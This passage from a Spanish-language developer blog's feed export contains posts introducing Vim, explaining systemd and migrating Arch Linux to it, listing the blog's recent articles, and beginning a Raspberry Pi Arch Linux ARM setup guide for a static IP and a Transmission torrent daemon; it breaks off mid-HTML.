<img alt="Vim" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCiaFYCzMs8Bdf-8Yko4FQ8Q8C8k_trbdK6liPNgzOOXsGBmmTZRYotSWV3ABXQ5rK2qdfprEpWhufwAnUiEQ21z0McN2eoDniAH6iEicZ02Fw_7awnNwWYbojDlG2jZ08tibOwySrAn7d/s1600/vim.png" title="Vim" /></div>
Vim es un potente editor de texto con características que ya quisieran para si varios de los editores que los desarrolladores usamos a diario en nuestro trabajo. Todas las operaciones como cortar, pegar, eliminar, buscar, reemplazar, resaltar sintaxis, visalizar lineas de archivos, ir a un número de linea concreto y muchas más pueden realizarse de forma eficiente y rápida. Una de sus principales características es que se basa en modos dependiendo de los cuales las teclas tendrán diferentes funciones. Los dos principales modos son el modo normal, en el que prácticamente cada tecla tiene una función asignada, y el de inserción. A primera vista las teclas asignadas a cada función parecen puestas aleatoriamente, pero no es así, la disposición elegida de las mismas tiene como objetivo que no tengamos que mover ni desplazar las manos del teclado de modo que se consigamos gran rapidez al editar los archivos.<br />
<br />
Otro de los motivos que nos puede motivar a usarlo es que al ser un programa que se usa desde el terminal y sin interfaz gráfica consume muy pocos recursos (unos pocos megas) comparado con lo que consume cualquier IDE con interfaz gráfica (varios cientos de megas) y se muestra ágil incluso con archivos grandes de varios megas allí donde editores como gedit o eclipse se atascan al leerlos, Vim es capaz manejarlos sin problemas.<br />
<br />
Una de sus desventajas es que es poco intuitivo para el usuario recien llegado y para usarlo de forma corecta, eficiente y rápida requiere aprender a como manejarlo con una curva de aprendizaje alta. Para la tarea de aprender a usarlo lo mejor es leer un manual que nos permita aprender al menos los comandos básicos para empezar a trabajar con él aunque en un principio no lo hagamos de forma eficiente y usando todas las características que vim ofrece, a medida que vayamos leyendo y aprendiendo del manual y usemos los comandos iremos conociendo nuevos que nos permitirán hacer más o mejor las cosas. Un buen manual para empezar a usar vim es el «<a href="ftp://ftp.vim.org/pub/vim/doc/book/vimbook-OPL.pdf">Vim Book</a>» que se encuentra dispponible en la <a href="http://www.vim.org/docs.php">sección documentación de Vim</a>. Si en algún momento tenemos dudas necesitamos ayuda siempre tendremos a nuestra disposición la ayuda de vim con el comando «:help» y si necesitamos ayuda de una determinada tecla podemos utilizar el comando «:help [tecla]».<br />
<br />
Hasta ahora usaba <a href="http://www.nano-editor.org/">nano</a> y siendo este un editor sencillo que cumple su función permitiendo editar archivos rápidamente sin tener que aprender como usarlo, se queda corto a medida que necesitamos funciones más avanzadas por lo que la evolución será pasar de nano a vim o a otra alternativa como <a href="http://www.gnu.org/software/emacs/">emacs</a>.<br />
<br />
Entre las características que posee vim están:<br />
<ul>
<li>Corrector ortográfico integrado</li>
<li>Autocompletado de texto</li>
<li>Navegación por pestañas</li>
<li>Ventanas múltiples, que dividen el área de edición horizontal o verticalmente</li>
<li>Resaltado de sintaxis dependiendo del lenguaje de programación o de etiquetas utilizado</li>
<li>Órdenes deshacer y rehacer</li>
<li>Más de 200 sintaxis diferentes</li>
<li>Lenguaje de scripting para programar extensiones</li>
<li>Completado de órdenes, palabras y nombres de ficheros</li>
<li>Compresión y descompresión de ficheros, que posibilita editar ficheros comprimidos</li>
<li>Reconocimiento de formatos de fichero y conversión entre los mismos</li>
<li>Historial de órdenes ejecutadas</li>
<li>Grabación y reproducción de macros</li>
<li>Guardado de la configuración entre sesiones</li>
<li>Plegado automático y manual de código</li>
<li>Interfaz gráfica opcional</li>
<li>Altamente configurable y personalizable</li>
<li>Casi 100% compatible con vi, pero sin muchos de sus defectos</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjcrpCfwEmidBIpubFeVqAJGellb7i6ESLjRUQCgWF84MxmUDwQgdJDgln_tGFWYBibKw_76tFhyphenhyphenAv4A5wC1pn0yvzR8yVZkjix9fIYw4MX8_YLnZHxdqLKKTuF_ywqErfvC5FUZpnV6fE/s1600/vim-terminal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjcrpCfwEmidBIpubFeVqAJGellb7i6ESLjRUQCgWF84MxmUDwQgdJDgln_tGFWYBibKw_76tFhyphenhyphenAv4A5wC1pn0yvzR8yVZkjix9fIYw4MX8_YLnZHxdqLKKTuF_ywqErfvC5FUZpnV6fE/s320/vim-terminal.png" width="320" /></a></div>
<br />
En los siguientes enlaces una presentación y varias chuletas con las teclas y combinaciones más básicas de teclas:<br />
<br />
<a href="https://training.linuxfoundation.org/linux-tutorials/introduction-to-vim">https://training.linuxfoundation.org/linux-tutorials/introduction-to-vim</a><br />
<a href="http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html">http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html</a><br />
<a href="http://www.tuxfiles.org/linuxhelp/vimcheat.html">http://www.tuxfiles.org/linuxhelp/vimcheat.html</a><br />
<br />
Referencia:<br />
<a href="http://www.vim.org/">http://www.vim.org/</a><br />
<a href="http://es.wikipedia.org/wiki/Vim">http://es.wikipedia.org/wiki/Vim</a><br />
<a href="http://www.vim.org/6k/features.es.txt">http://www.vim.org/6k/features.es.txt</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-26765781193250255612012-09-07T14:01:00.000+02:002012-09-21T20:28:46.532+02:00systemd, reemplazo de sysvinitEn los sistemas UNIX el primer proceso que se crea y se encarga de inicializar el resto de procesos se le conoce como init. Desde 1980 esta tarea era llevada a cabo por «System V init» (sysvinit). Sin embargo, dado que en sysvinit los servicios se lanzan en un orden determinado y los dispositivos actuales son muy diversos y dinámicos está dejando de ser adecuado para estos tiempos. En el 2006 <a href="http://www.canonical.com/">Canonical</a> desarrollo <a href="http://upstart.ubuntu.com/">Upstart</a> con el objetivo de crear un reeemplazo para sysvinit. Upstart es sistema dirigido por eventos de tal forma que cuando ocurre cierta circunstancia se hace alguna acción, como «el dispositivo de red se ha montado», soportando mejor de esta forma la dinamicidad del los sistemas. Upstart parecía el sucesor de sysvinit, sin embargo, la migración de sysvinit a un sistema dirigido por eventos como upstart no es sencilla.<br />
<br />
systemd fue lanzado en 2010 por Lennart Poettering, conocido también por desarrollar <a href="http://www.freedesktop.org/wiki/Software/PulseAudio">pulseaudio</a>, también como un reemplazo de sysvinit. systemd está comenzando a reemplazar a sysvinit como el proceso encargado de arrancar el sistema en varias distribuciones como Fedora, openSUSE, Mandriva y Arch Linux por varias de sus características.<br />
<br />
systemd activa todos los sockets que utilizan los procesos para comunicarse antes de que ninguno sea arrancado de forma que estén disponibles para cuando lo hagan, una vez inicializados los sockets systemd inicia todos los procesos en paralelo sin ningún orden preestablecido o bajo demanda cuando se envía un mensaje a su socket. Cuando un proceso necesita de otro se comunica a través de los sockets, si el proceso destinatario aún no no está disponible para recibir el mensaje systemd lo encola para que no se pierda y lo despacha cuando el proceso destintario está disponible. De esta forma se consigue un paralelismo total entre los procesos que inician el sistema.<br />
<br />
Aqui una comparativa de sysvinit, upstart y systemd:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw6r9U5fmHYZuRIyCuSiSPY2jXIPwJ0336IcRAFvH3k1fexDbZsOF0_kWTLEIorAuLToGT4MV4QLrITR4Bpbm3lMi9vdqza_KowmOCe1Dcd4z7gsT0yarWsRj8XC1aWpkO48YJNi_EUOXT/s1600/sysvinit-upstart-systemd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw6r9U5fmHYZuRIyCuSiSPY2jXIPwJ0336IcRAFvH3k1fexDbZsOF0_kWTLEIorAuLToGT4MV4QLrITR4Bpbm3lMi9vdqza_KowmOCe1Dcd4z7gsT0yarWsRj8XC1aWpkO48YJNi_EUOXT/s400/sysvinit-upstart-systemd.png" width="400" /></a></div>
<br />
Si quieres conocer más acerca de systemd te recomiendo leer el <a href="http://gespadas.com/archlinux-systemd">siguiente excelente artículo</a> y la documentación incluida en su referencia parte de la cual está en el apartado de referencia, también algunas de las ventajas puestas en un <a href="https://bbs.archlinux.org/viewtopic.php?pid=1149530#p1149530">post del los foros de arch linux</a> que independientemente de las mejoras de tiempos (esto igual es lo menos importante de systemd) están que los servicios pueden ser proporcionados por los proyectos originales en vez de ser cada distribución la que los desarrolle y la no necesidad de configurar explícitamente las dependencias.<br />
<br />
Si usas Arch Linux y has echo una actualizanción completa hace menos de una semana ya tendrás todo lo necesario para iniciar el sistema con systemd y realizar la migración. Los pasos serán los siguientes:<br />
<br />
<ul>
<li>Lo primero será <a href="https://wiki.archlinux.org/index.php/Systemd#Native_systemd_configuration_files">adaptar los archivos de configuración</a> a systemd. Basicamente lo que antes estaba en el archivo /etc/rc.conf ahora está separado en varios archivos.</li>
<li>También hay que indicar a systemd los servicios que queremos arrancar con el sistema a través de «systemctl enable [servicio].service», para ello miraremos la lista de DAEMONS del archivo en /etc.rc.conf e iremos habilitando <a href="https://wiki.archlinux.org/index.php/Daemons#List_of_Daemons">su correspondiente en systemd</a>.</li>
<li>Luego iniciaremos el sistema con systemd añadiendo en la linea de comando del kernel init=/bin/systemd y quitando la opción quiet para ver las trazas y si se produce algún error. Esto se puede hacer sin modificar ningún archivo desde grub2 editando la entrada con la tecla «e» y una vez modificada la linea de comando pulsando F10.</li>
<li>Finalmente, si todo ha ido correctamente en el inicio con systemd podremos eliminar el paquete initscripts e instalar systemd-sysvcompat con lo que tendremos un sistema puro de systemd.</li>
</ul>
<br />
Pero antes de nada es muy recomendable leer algo de documentación sobre lo que se va a hacer empezando por la <a href="http://en.wikipedia.org/wiki/Systemd">wiki de arch linux sobre systemd</a>. Decir que aún hay <a href="http://www.archlinux.org/todolists/#178">algunos programas que no tienen su correspondiente .service</a> para iniciarlo desde systemd pero se solucionará con el tiempo.<br />
<br />
Después de todo veremos a systemd como el proceso con PID 1:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZhkVjeGZONmZKq5x4dSOc2TMxcNnE0d2iZnFnES9mkJ6SOj9FnFoSMCELjlfXWRBkjXN14VAb38YB1fQ5p44Hsh95mciwr9muGmjXK57RXb5lGQfaiUbZgHJslHr3MaoUeFonoiumZC2D/s1600/systemd-top.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZhkVjeGZONmZKq5x4dSOc2TMxcNnE0d2iZnFnES9mkJ6SOj9FnFoSMCELjlfXWRBkjXN14VAb38YB1fQ5p44Hsh95mciwr9muGmjXK57RXb5lGQfaiUbZgHJslHr3MaoUeFonoiumZC2D/s400/systemd-top.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Referencia:<br />
<a href="http://freedesktop.org/wiki/Software/systemd">http://freedesktop.org/wiki/Software/systemd</a><br />
<a href="http://en.wikipedia.org/wiki/Systemd">http://en.wikipedia.org/wiki/Systemd</a><br />
<a href="http://diegocg.blogspot.com.es/2010/05/systemd-otro-reemplazo-de-init.html">http://diegocg.blogspot.com.es/2010/05/systemd-otro-reemplazo-de-init.html</a><br />
<a href="http://www.h-online.com/open/features/Control-Centre-The-systemd-Linux-init-system-1565543.html">http://www.h-online.com/open/features/Control-Centre-The-systemd-Linux-init-system-1565543.html</a><br />
<a href="http://0pointer.de/blog/projects/systemd.html">http://0pointer.de/blog/projects/systemd.html</a><br />
<a href="http://0pointer.de/blog/projects/socket-activation.html">http://0pointer.de/blog/projects/socket-activation.html</a><br />
<a href="http://0pointer.de/blog/projects/socket-activation2.html">http://0pointer.de/blog/projects/socket-activation2.html</a><br />
<a href="http://0pointer.de/blog/projects/why.html">http://0pointer.de/blog/projects/why.html</a><br />
<a href="http://gespadas.com/archlinux-systemd">http://gespadas.com/archlinux-systemd</a><br />
<a href="https://bbs.archlinux.org/viewtopic.php?pid=1149530#p1149530">https://bbs.archlinux.org/viewtopic.php?pid=1149530#p1149530</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-37870026854050869192012-06-29T18:43:00.001+02:002013-07-07T03:16:10.404+02:00Hemeroteca #1<div imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjptgi5QalEtBYcMnRHsBzuL1YUNSzxmhOJEw_8zIU9Fstoh9HwzqqnF-7lzrxgeCRf5YIAYXu_ehO64q8fWQctFnyc6g1MaeSWgYtjjOBlnbrIoCMMx-ROHqMs66fpHwClRUQvxuXnDSIr/s1600/El+blog+de+picodev+%2528watermark%2529.png" /></div>
Ya han pasado seis meses de este 2012 y seguro que muchos estamos ya pensando en coger vacaciones dentro de poco. En esta entrada recopilaré para que han dado estos seis meses en El blog de pico.dev. Si te interesan entradas como estas y aún no lo has hecho suscríbete al feed de mi blog, tengo una buena cantidad de entradas esperando a ser escritas y que iré publicando a razón de una por semana si dispongo del tiempo y el ánimo para escribirlas.<br />
<br />
En estos seis meses he escrito estas 23 entradas agrupadas por temática:<br />
<br />
<b>Varios</b><br />
Como mención especial integré el widget de karmacracy que puede verse al final de cada entrada mediante el cual cualquier usuario puede compartir la entradas de este blog en sus redes sociales como facebook, twitter o linkedin de una forma rápida y sencilla obteniendo a cambio un lugar en el widget para los usuarios que más clics atraigan.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/01/calendario-arch-linux-2012.html">Calendario Arch Linux 2012</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/01/last-como-obtener-los-ultimos-inicios.html">last, como obtener los últimos inicios de sesión</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/obtener-la-clave-de-una-red-wifi-wep.html">Obtener la clave de una red WIFI WEP</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/03/guia-post-instalacion-minix.html">Guía post instalación Minix</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/03/karmacracy-y-como-integrarlo-en-blogger.html">Karmacracy y como integrarlo en Blogger</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/guia-instalacion-cyanogenmod.html">Guía instalación CyanogenMod</a><br />
<br />
<b>Programación</b><br />
Esta ha sido la temática de la que más entradas he escrito, principalmente alrededor de la programación en Java y del desarrollo web.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/01/errores-de-precision-redondeo-y.html">Errores de precisión, redondeo y representación con float y double</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/03/herramienta-de-construccion-gradle.html">Herramienta de construcción Gradle</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/04/usar-gradle-mediante-gradle-wrapper.html">Usar Gradle mediante Gradle wrapper</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/02/por-que-usar-enums-en-vez-de-constantes.html">Por qué usar enums en vez de constantes en Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/02/debug-de-una-aplicacion-java.html">Debug de una aplicación Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/02/5-opciones-de-hosting-para-aplicaciones.html">5 opciones de hosting para aplicaciones Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/03/patrones-de-diseno-en-la-programacion.html">Patrones de diseño en la programación orientada a objetos</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/04/ejemplo-del-patron-de-diseno-command-y.html">Ejemplo del patrón de diseño Command y programación concurrente en Java</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/04/librerias-de-logging-para-java-slf4j.html">Librerías de logging para Java (slf4j, log4j, java.util.logging, logback, MentaLog)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/github-repositorio-git-para-proyectos.html">GitHub, repositorio Git para proyectos</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/hojas-de-estilo-css-con-less.html">Hojas de estilo css con less</a><br />
<br />
<b>Apache Tapestry</b><br />
El framework con que algún día me gustaría programar en mi trabajo ya que realmente me lo paso bien programando con él, lamentablemente no encuentro oportunidades laborales en el que poder usarlo y profundizar aún más en él. Dentro de mi experiencia de entre JSP/Servlets, Struts, Grails y JSF es lo mejor que he probado con diferencia. Posee un conjunto de características que lo hacen especialmente agradable trabajar con él, algunas únicas, su código fuente y diseño es un muy buen ejemplo de como aplicar varios patrones de forma útil. Siendo un framework basado en componentes la productividad se consigue a base de hacer el desarrollo una vez y a partir de ese momento reutilizarlo en toda la aplicación. El código queda muy limpio (sin <a href="http://en.wikipedia.org/wiki/Spaghetti_code">spaguetti code</a> que otros frameworks permiten o con el que al final se acaba) y haciendo un poco bien las cosas apenas hay duplicación de código a lo largo de la aplicación.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/02/recarga-de-clases-class-reloading-en.html">Recarga de clases (class reloading) en Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/03/conversiones-de-datos-entre-el-cliente.html">Conversiones de datos entre el cliente y servidor en Apache Tapestry</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/componente-selector-de-fecha-para.html">Componente selector de fecha para Tapestry 5</a><br />
<br />
<b>Raspberry Pi</b><br />
La Raspberry Pi es un ordenador completo con el tamaño de una tarjeta de crédito, sus propósitos pueden ser muchos y su consumo de vatios es muy reducido.<br />
<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/raspberry-pi-desempaquetado-unboxing.html">Raspberry Pi, desempaquetado («unboxing»)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch_22.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte II, programas)</a><br />
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2011/12/feliz-navidad-y-prospero-2012.html">Hemeroteca #0</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-81099175594905479042012-06-22T19:05:00.002+02:002016-09-23T19:36:05.627+02:00Guía instalación Raspberry Pi con Arch Linux ARM (Parte II, programas)<div style="clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Raspberry Pi" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7jjTcqBy7QV4vQK0CvI75eyJi2A3DTZggo01HoiKrEJUYMgdYTX4t-F7RbcQjKnHsqBrmXHMmshSiH-0MtkldzOHUob2KfQ7MyGGgu1oyPC1MqOhzo7_kFt4CrxDufM9aYwIlRA3qva-m/s1600/raspberrypi.jpg" title="Raspberry Pi" /></div>
<span style="color: #e06666;">Nota: la última actualización de esta guía fue el 19-01-2013. Al ser Arch Linux una distribución rolling release puede que cuando la leas algunas cosas hayan cambiado aunque la mayoría seguirán siendo como esta escrito a continuación.</span><br />
<br />
Después de la instalación base de Arch Linux ARM para la Raspberry Pi a partir de la <a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)</a> toca añadirle los programas que nos proporcionarán la funcionalidad que queramos. Desde luego la capacidad de la Raspberry es limitada y no podremos instalarle todo lo que deseemos, principalmente por la cantidad de memoria que tiene (256 MiB), por la velocidad de lectura desde la tarjeta SDHC que en determinados momentos es el mayor limitante notándose que se ahoga y porque el procesador no tiene la capacidad ni se puede comparar con un Intel o AMD de los que podemos encontrar estos días. Por ello, la Raspberry no será un sustituto de nuestro ordenador de escritorio o portátil aunque dicho esto hay ciertas tareas que puede cumplir a la perfección con capacidad más que suficiente.<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Arch Linux ARM" border="0" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSbitDQk99pkUn1c-qWukDM20dUkFB2AJd2AmnQ32qSRQovqsUhO0GiBwQEVT7hNaFMVwnOl_4of-FrhGCynM4Iy04uHDPPFt2heMYXnCR-EycxMYb1DQvYO-QMNoK579eiLGeFGkvB2Rc/s400/archlinuxarm.png" title="Arch Linux ARM" width="400" /></div>
<br />
Si necesitamos algo más potente podemos optar por una <a href="http://www.solid-run.com/products/cubox">CuBox</a> o una <a href="http://pandaboard.org/">Pandaboard ES</a> que ambas tienen 1 GiB de memoria y un procesador dual core algo más potente que el de la Raspberry, desde luego ambas funcionarán bastante mejor al ejecutar un entorno gráfico aunque probablemente tampoco sean sustitutos para reemplazar nuestro ordenador de escritorio. El punto fuerte de la Raspberry comparadas con la CuBox o la Pandaboard es su precio, de unos 45€ con gastos de envío a España, contra 99€ y 182$ sin gastos de envío respectivamente.<br />
<br />
Volviendo a la guía, seguidamente explicaré algunas de las tareas para las que sí podemos usar la Raspberry.<br />
<br />
<h4>
Programas y servicios</h4>
Las siguientes <a href="http://archlinuxarm.org/support/guides/applications">aplicaciones de muestra</a> son solo una idea de lo que podemos instalar. Además de las anteriores o mencionando algunas de ellas una lista no exhaustiva podría ser la siguiente:<br />
<ul>
<li>Asignar dirección IP fija</li>
<li>P2P torrent (transmision-cli)</li>
<li>ftp (vsftp)</li>
<li>Servidor web (lighttpd)</li>
<li>firewall (ufw)</li>
<li>PHP</li>
<li>Git</li>
<li>Sistemas de archivos NTFS, FAT</li>
<li>Sonido (cmus)</li>
<li>SSH (certificados)</li>
<li>SSH y screen</li>
</ul>
Otras:
<br />
<ul>
<li>email (mutt)</li>
<li>música (cmus)</li>
</ul>
Veremos algunas de estas a continuación y la configuración del router que tendremos que hacer. Si quieres instalar todo lo que se comenta en esta quía puedes hacerlo con:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-1.sh"></script><br />
<h4>
Asignar dirección IP fija</h4>
De la lista anterior de aplicaciones algunas de ellas son programas que actuan de servidor. Dado que para conectarnos a un servidor necesitamos conocer la dirección IP en la que se encuentra deberemos asignar a la Raspberry una dirección IP fija en vez de dejar al DHCP del router que le asigne una y que pueda cambiar entre diferentes sesiones, reinicios o al cabo de un tiempo. Para tener una dirección IP fija deberemos crear un servicio de systemd que al iniciarse el sistema se le asigne la que deseamos. Para asignar la dirección IP estática debemos crear el archivo /etc/conf.d/network de configuración donde indicaremos varias propiedades de la red entre ellas la dirección IP:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=network"></script>
Y el archivo del servicio de systemd /etc/systemd/system/network.service que se ejecutará cuando se inicie el sistema y realizará las operaciones necesarias para configurar la red:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=network.service"></script>
En address pondremos la dirección IP que queramos dentro de nuestra red y fuera del rango de direcciones IP que asigna el router. Finalmente debemos habilitar e iniciar el servicio network que acabamos de crear.<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-13.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhItr8lZ80-10KTNB7nlx_DfHL3FYjhf9o1aguoWR-wLhyphenhyphenn4rPnLZ1JTERxfxD6l0l-AMy2rCnJYkiZH1Jb77nhi54Py2dD9dKMzpWeuGRNyRq1B7HcOtg0GEg4DONih1FLwreI48emT4ZM/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhItr8lZ80-10KTNB7nlx_DfHL3FYjhf9o1aguoWR-wLhyphenhyphenn4rPnLZ1JTERxfxD6l0l-AMy2rCnJYkiZH1Jb77nhi54Py2dD9dKMzpWeuGRNyRq1B7HcOtg0GEg4DONih1FLwreI48emT4ZM/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-2.png" width="200" /></a></div>
También deberemos modificar los archivos /etc/dhcpcd.conf y /etc/resolv.conf para que los nombres de los dominios se resuelvan a sus direcciones IP, si al hacer «ping www.google.es» obtenemos un mensaje como «ping: unknown host www.google.es» es que nos falta modificar alguno de estos archivos, poniendo la dirección IP de nuestro router probablemente nos sea suficiente sino podemos usar un <a href="https://developers.google.com/speed/public-dns/docs/using">servidor de nombre en internet como los que ofrece google</a>:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=dhcpcd.conf"></script>
<script src="https://gist.github.com/4573882.js?file=resolv.conf"></script>
<br />
<br />
<h4>
P2P torrent</h4>
tranmision es uno de los programas más populares para realizar descargas P2P mediante torrent. Aparte de a través de la interfaz gráfica puede ser usado desde la linea de comandos y como esto nos es necesario para la Raspberry será el que veremos a continuación. Empezaremos instalando su paquete transmission-cli.<br />
<br />
Para poder ejecutarlo como demonio y con un usuario específico debemos seguir los pasos indicados en la <a href="https://wiki.archlinux.org/index.php/Transmission#Run_as_a_daemon">wiki de arch linux sobre transmission</a> para el caso de usar systemd.<br />
<br />
Siguiendo los pasos de la wiki deberemos hacer las siguientes cosas:<br />
<ul>
<li>Modificar los archivos /usr/lib/systemd/system/transmission.service y /usr/lib/tmpfiles.d/transmission.conf con el usuario con el que queramos que se ejecute transmission.</li>
<li>Copiarlos en cada caso a un subdirectorio de /etc.</li>
<li>Modificar el propietario y grupo del directorio /run/transmission según el usuario que vaya a iniciar el servicio configurado en transmission.service y transmission.conf.</li>
<li>Iniciar el servicio con transmission-daemon y pararlo para que se cree el archivo de configuración.</li>
<li>Editarlo para activar la interfaz rpc y el directorio de descargas.</li>
<li>Iniciar el servicio con tranmission a través de systemd.</li>
</ul>
El directorio de descargas incompletas (incomplete-dir), el usuario (rpc-username) y password (rpc-password) para la interfaz remota web (la password la indicaremos en texto plano una vez iniciemos transmision él detectará que está en texto plano y creará un hash de ella para mayor seguridad), si deseamos autenticación en la interfaz remota (rpc-authentication-required) y si queremos un directorio donde transmission buscará archivos torrents para iniciar descargas de forma automática cuando encuentre uno (watch-dir, watch-dir-enabled). En rpc-whitelist deberemos indicar la red local a la que estamos conectados, por ejemplo, 192.168.2.*.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgah2ZcENiwwLAVZfIAHuSyE2NgxoHYfKI1ymmEUJbUCxuk1PrAHI9_5P03f0hXDXIfE6kBIlPU4suqUDqwaA1lFUPh-kzycQWshUAa4aYtAGcUm1P0uxhe92UyE18UzpnW_t3yy4XWB7DW/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgah2ZcENiwwLAVZfIAHuSyE2NgxoHYfKI1ymmEUJbUCxuk1PrAHI9_5P03f0hXDXIfE6kBIlPU4suqUDqwaA1lFUPh-kzycQWshUAa4aYtAGcUm1P0uxhe92UyE18UzpnW_t3yy4XWB7DW/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-6.png" width="200" /></a></div>
<br />
Una vez realizados estos pasos podemos iniciar el demonio de transmission y acceder a su interfaz web con el navegador de nuestro ordenador de escritorio o portatil en la dirección http://[ip-raspberrypi]:9091.<br />
<br />
Mediante esta interfaz web podremos modificar algunas propiedades adicionales como los limites de velocidad tanto de bajada como de subida incluso en un horario determinado. Finalmente, mediante esta interfaz web nos aseguraremos en la pestaña Preferences > Network de que tenemos el puerto usado por transmission en estado abierto y accesible desde internet, esto nos será necesario para descargar al máximo de velocidad que dispongamos. Si no lo tenemos tendremos que modificar la configuración del router (lo veremos más adelante en la configuración del router).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD_xLKuiSOlkTgi9ssPRqFMIkhZO0d5IXVRsDRxrPmB3pJMgB0qlIWz_PCbbFmSIoGBBVipjrPbvcGw4QIEIjULmil3sJf5MXOQFMHIB4HdG7M7VMj4l9iK8lYeLFXGlseMOra_oqkCjrn/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD_xLKuiSOlkTgi9ssPRqFMIkhZO0d5IXVRsDRxrPmB3pJMgB0qlIWz_PCbbFmSIoGBBVipjrPbvcGw4QIEIjULmil3sJf5MXOQFMHIB4HdG7M7VMj4l9iK8lYeLFXGlseMOra_oqkCjrn/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-7.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMRpazDu2ftTb6WcSaahnkqs-SVKg3MZE-QQqDoWNd_MuerpdmMTLJ0FRO0pdp3ndZ0Ooe5gHVWAs2-aq-38lmUbUH85S6ININCqSbys_KuiiUJ97rykFsv4vF915wyDhiZqhnkmwO0_YY/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" 